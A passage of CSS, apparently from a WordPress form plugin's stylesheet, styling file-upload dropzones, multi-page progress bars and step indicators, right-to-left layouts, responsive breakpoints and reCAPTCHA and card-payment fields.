300ms ease-in-out;-moz-transition: width 300ms ease-in-out;-ms-transition: width 300ms ease-in-out;-o-transition: width 300ms ease-in-out;transition: width 300ms ease-in-out;}.frm_dropzone .dz-preview.dz-error .dz-error-message {display: block;opacity: 1;pointer-events: auto;}.frm_dropzone .dz-preview .dz-error-message {pointer-events: none;display: none;opacity: 0;-webkit-transition: opacity 0.3s ease;-moz-transition: opacity 0.3s ease;-ms-transition: opacity 0.3s ease;-o-transition: opacity 0.3s ease;transition: opacity 0.3s ease;color: #B94A48;padding: 0.5em;}.frm_dropzone .fallback input[type=file]{display:block;}.frm_compact_text{display:none;}.frm_compact .frm_dropzone.dz-clickable{padding:0;border:none;background-color:transparent;}.frm_compact .frm_dropzone.dz-clickable.frm_single_upload{max-width:100%;}.frm_compact .frm_compact_text{display:inline;}.frm_upload_text button,.frm_compact_text button {background: none !important;color: inherit !important;border: none !important;padding: 0 !important;font: inherit !important;cursor: pointer !important;outline: inherit !important;height: auto !important;white-space: break-spaces;}.frm_compact .frm_dropzone.dz-clickable.frm_single_upload .dz-message,.frm_compact .frm_dropzone.dz-clickable .dz-message{font-size:14px;border:1px solid #dfdfdf;background:#fff;display: inline-block;border-radius: 4px;padding: 6px 11px;box-sizing: border-box;box-shadow: 0 1px 1px #eeeeee;vertical-align: middle;margin: 0 0 1em;}.frm_compact .frm_dropzone.frm_single_upload.dz-started .dz-message,.frm_compact .frm_dropzone.frm_single_upload.dz-started.dz-clickable .dz-message {display: none;}.frm_compact .frm_dropzone .frm_upload_icon:before{font-size:22px;padding-right:7px;vertical-align: middle;}.frm_compact .frm_dropzone .frm_upload_icon{display:inline;}.frm_compact .frm_dropzone .dz-preview{min-height:20px;max-width:200px;margin: 0 5px;padding: 0;display: inline-block;border-bottom: none;}.frm_compact .frm_dropzone .dz-preview.frm_clearfix:after {content:'';}.frm_compact .frm_dropzone .frm_upload_text,.frm_compact .frm_dropzone .frm_small_text,.frm_compact .frm_dropzone .dz-preview .dz-image,.frm_compact .frm_dropzone .dz-preview .dz-details .dz-size{display:none;}.frm_compact .frm_dropzone .dz-preview .dz-details {margin: 0;}.frm_compact .frm_dropzone .dz-preview .dz-column {float: none;width: 100%;}.frm_compact .frm_dropzone .dz-preview .dz-details .dz-filename {overflow: hidden;text-overflow: ellipsis;}.frm-show-form .dz-hidden-input{display:none;}.frm_rootline_group{text-align: center;margin: 20px auto 30px;width: 100%;}ul.frm_page_bar{list-style-type: none;margin: 0 !important;padding: 0;width: 100%;display: flex;flex-wrap: wrap;box-sizing: border-box;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;}ul.frm_rootline {align-items: baseline;}ul.frm_page_bar li{display: flex;-ms-flex: 1;flex: 1;align-items: center;justify-content: center;flex-direction: column;}.frm_page_bar.frm_hidden,.frm_page_bar .frm_hidden {display: none !important;}ul.frm_rootline_hidden_steps {z-index: 1;display: flex;width: auto;position: absolute;background: #fff;padding: 16px;gap: 16px;flex-direction: column;border-radius: 6px;box-shadow: 0px 8px 24px rgb(40 47 54 / 15%);top: calc( var(--progress-size) + 10px );}.frm_show_titles ul.frm_rootline_hidden_steps {min-width: min(100%, 400px);}ul.frm_rootline_hidden_steps li {white-space: nowrap;text-align: start;z-index: 1;cursor: pointer;flex-direction: row;gap: 16px;position: relative;}.frm_rootline_hidden_steps li span.frm_rootline_title.frm_prev_page_title{text-decoration: line-through;opacity: 0.45;font-weight: 400;}.frm_rtl .frm_rootline.frm_show_lines > .frm_rootline_single:first-child::after,.frm_rootline.frm_show_lines ul.frm_rootline_hidden_steps li:after,.frm_rootline.frm_show_lines > .frm_rootline_single:after {height: 2px;height: var(--progress-border-size);background: #E5E5E5;background: var(--progress-border-color);content: '';position: absolute;top: 12px; top: calc( ( var(--progress-size) / 2 ) - var(--progress-border-size) );left: 50%;width: 100%;z-index: -1;}.frm_rtl .frm_rootline.frm_show_lines > .frm_rootline_single::after {right: 50%;left: auto;}.frm_rtl .frm_rootline.frm_show_lines > .frm_rootline_single:first-child::after,.frm_rootline.frm_show_lines ul.frm_rootline_hidden_steps li:last-child::after,.frm_rootline.frm_show_lines > .frm_rootline_single:last-child::after {content: none;}.frm_rootline.frm_show_lines ul.frm_rootline_hidden_steps li:after {width: 2px;width: var(--progress-border-size);height: 100%;top: max( 50%, 20px ); left: calc( ( var(--progress-size) / 2 ) - var(--progress-border-size) );}.frm_rtl .frm_rootline.frm_show_lines ul.frm_rootline_hidden_steps li:after {right: calc( ( var(--progress-size) / 2 ) + var(--progress-border-size) );left: auto;}.frm_rootline_hidden_steps .frm_rootline_title {flex: 1;}.frm_rootline_hidden_steps .frm_rootline_single input {margin: 0 !important;}.frm_page_bar .frm_rootline_single input{margin-bottom: 10px;font-size: 14px;}.frm_forms .frm_page_bar input,.frm_forms .frm_page_bar input:disabled{transition: background-color 0.1s ease;color: #3f4b5b;color: var(--progress-color) ;background-color: #eaeaea;background-color: var(--progress-bg-color) ;border-width: 2px;border-width: var(--progress-border-size) ;border-style: solid;border-color: #dbdbdb;border-color: var(--progress-border-color-b) ;cursor: pointer ;}.frm_forms .frm_page_bar input:hover,.frm_forms .frm_page_bar input:focus{background-color: #d6d6d6;color: #2b3747;background-color: #d6d6d6;}.frm_forms .frm_rootline input {font-size: 14px;font-weight: 600;}.frm_forms .frm_rootline input:hover {opacity: 1;}.frm_forms .frm_rootline input:focus{outline: none;}.frm_forms .frm_rootline .frm_rootline_single input {border-width: 0;}.frm_forms .frm_progress_line input.frm_page_back{background-color: #579AF6;background-color: var(--progress-active-bg-color) ;}.frm_forms .frm_rootline input.frm_page_back {background-color: #3f4b5b;background-color: var(--progress-color);color: #eaeaea;color: var(--progress-bg-color);}.frm_forms .frm_rootline input.frm_page_back:hover,.frm_forms .frm_rootline input.frm_page_back:focus{background-color: #6c7888;color: #ffffff;}.frm_forms .frm_page_bar .frm_current_page input[type="button"]{background-color: #eaeaea;border-color: #E5E5E5;}.frm_progress .frm_rootline_single{text-align: center;margin: 0;padding: 0;}.frm_rootline > .frm_rootline_single {min-width: 50px;position: relative;padding: 0 10px;}.frm_rootline.frm_show_titles > .frm_rootline_single {min-width: min(150px, 30%);}.frm_rootline_single input{display: flex;text-align: center;justify-content: center;margin: auto;}.frm_rootline_hidden_steps .frm_rootline_single input{display: inline-block;}.frm_current_page .frm_rootline_title{color: #579AF6;color: var(--progress-active-bg-color) ;}.frm_rootline_title,.frm_pages_complete,.frm_percent_complete {font-size:14px;font-weight: 600;padding:4px;color: #666666;color: var(--description-color) ;}.frm_pages_complete {float: right;margin-right:13px;}.frm_percent_complete {float: left;margin-left:13px;}.frm_forms .frm_progress_line input,.frm_forms .frm_progress_line input:disabled {width: 100%;border: none;border-top: 1px solid #E5E5E5;border-bottom: 1px solid #E5E5E5;box-shadow: inset 0 2px 10px -10px rgba(41, 58, 82, 0.31);margin: 5px 0;padding: 6px 0;border-radius:0;font-size:0;line-height:15px;}.frm_forms .frm_progress_line.frm_show_lines input {border-left: 1px solid #3f4b5b;border-right: 1px solid #3f4b5b;}.frm_progress_line .frm_rootline_single {justify-content: flex-end;margin: 0;}.frm_forms .frm_progress_line li:first-of-type input {border-top-left-radius: 15px;border-bottom-left-radius: 15px;border-left: 1px solid #579AF6;}.frm_forms .frm_progress_line li:last-of-type input {border-top-right-radius: 15px;border-bottom-right-radius: 15px;border-right: 1px solid #579AF6;}.frm_forms .frm_progress_line li:last-of-type input.frm_page_skip {border-right: 1px solid #E5E5E5;}.frm_forms .frm_progress_line .frm_current_page input[type="button"] {border-left: 1px solid #E5E5E5;}.frm_forms .frm_progress_line.frm_show_lines .frm_current_page input[type="button"] {border-right: 1px solid #3f4b5b;}.frm_forms .frm_progress_line input.frm_page_back {border-color: #579AF6;}.frm_forms .frm_progress_line.frm_show_lines input.frm_page_back{border-left-color: #579AF6;border-right-color: #3f4b5b;}@media all and (-ms-high-contrast:none) {ul.frm_rootline_hidden_steps {display: block;min-width: 350px;border: 1px solid #BFC3C8;left: -50%;}.frm_rootline.frm_show_lines ul.frm_rootline_hidden_steps li:after {top: 50%;left: 12px;}.frm_rootline > .frm_rootline_single {min-width: 150px;}.frm_rootline.frm_show_lines span{text-align: left;margin-left: 16px;}}.frm_rtl.frm_forms .frm_progress_line li:first-of-type input {border-top-right-radius: 15px;border-bottom-right-radius: 15px;border-top-left-radius:0px;border-bottom-left-radius:0px;border-right: 1px solid #579AF6;}.frm_rtl.frm_forms .frm_progress_line li:last-of-type input{border-top-left-radius: 15px;border-bottom-left-radius: 15px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-left: 1px solid #579AF6;}.frm_rtl.frm_forms .frm_progress_line li:last-of-type input.frm_page_skip {border-left: 1px solid #E5E5E5;border-right:none;}.frm_rtl.frm_forms .frm_progress_line .frm_current_page input[type="button"] {border-right: 1px solid #E5E5E5;border-left:none;}.frm_rtl.frm_forms .frm_progress_line.frm_show_lines .frm_current_page input[type="button"] {border-left: 1px solid #3f4b5b;border-right:none;}.frm_rootline_single > .frm_rootline_node {position: relative;}.frm_rootline.frm_show_lines{position: relative;z-index: 1;}.frm_rootline.frm_show_lines span{display: block;}.frm_forms .frm_rootline input {width: 30px;height: 30px;min-height:auto;border-radius: 30px;padding:0;}.frm_forms input.frm_rootline_show_more_btn {font-weight: 900;}.frm_forms .frm_rootline.frm_no_numbers input.frm_rootline_show_more_btn {color: var(--progress-color) !important;}.frm_page_bar input.frm_rootline_show_more_btn.active {opacity: 1;}.frm_forms .frm_rootline input:focus {border-color: #579AF6;border-color: var(--progress-active-bg-color) ;}.frm_forms .frm_rootline .frm_current_page input[type="button"] {border-color: #4386e2;background-color: #579AF6;color: #ffffff;}.frm_forms .frm_progress_line input,.frm_forms .frm_progress_line input:disabled,.frm_forms .frm_progress_line .frm_current_page input[type="button"],.frm_forms .frm_rootline.frm_no_numbers input,.frm_forms .frm_rootline.frm_no_numbers .frm_current_page input[type="button"] {color: transparent !important;}.frm_rootline_show_hidden_steps_btn:not(.active)>.frm_rootline_title{display: none;}@media only screen and (max-width: 700px) {.frm_show_titles ul.frm_rootline_hidden_steps {min-width: 16px;}}@media only screen and (max-width: 500px) {.frm_rootline.frm_rootline_4 span.frm_rootline_title,.frm_rootline.frm_rootline_3 span.frm_rootline_title{display:none;}}@media only screen and (max-width: 900px) {.frm_form_field .frm_repeat_grid .frm_form_field.frm_sixth .frm_primary_label,.frm_form_field .frm_repeat_grid .frm_form_field.frm_seventh .frm_primary_label,.frm_form_field .frm_repeat_grid .frm_form_field.frm_eighth .frm_primary_label{display: block !important;}}@media only screen and (max-width: 600px) {.frm_form_field.frm_four_col .frm_opt_container{grid-template-columns: repeat(2, 1fr);}.with_frm_style .frm_repeat_inline,.with_frm_style .frm_repeat_grid{margin: 20px 0;}}@media only screen and (max-width: 500px) {.frm_form_field.frm_two_col .frm_radio,.frm_form_field.frm_two_col .frm_checkbox,.frm_form_field.frm_three_col .frm_radio,.frm_form_field.frm_three_col .frm_checkbox{width: auto;margin-right: 0;float: none;display:block;}.frm_form_field input[type=file] {max-width:220px;}.with_frm_style .frm-g-recaptcha > div > div,.with_frm_style .g-recaptcha > div > div{width:inherit !important;display:block;overflow:hidden;max-width:302px;border-right:1px solid #d3d3d3;border-radius:4px;box-shadow:2px 0px 4px -1px rgba(0,0,0,.08);}.with_frm_style .g-recaptcha iframe,.with_frm_style .frm-g-recaptcha iframe{width:100%;}}.frm-card-element .sq-card-wrapper .sq-card-message {margin-bottom: 0;}.frm-card-errors:empty {margin: 0;}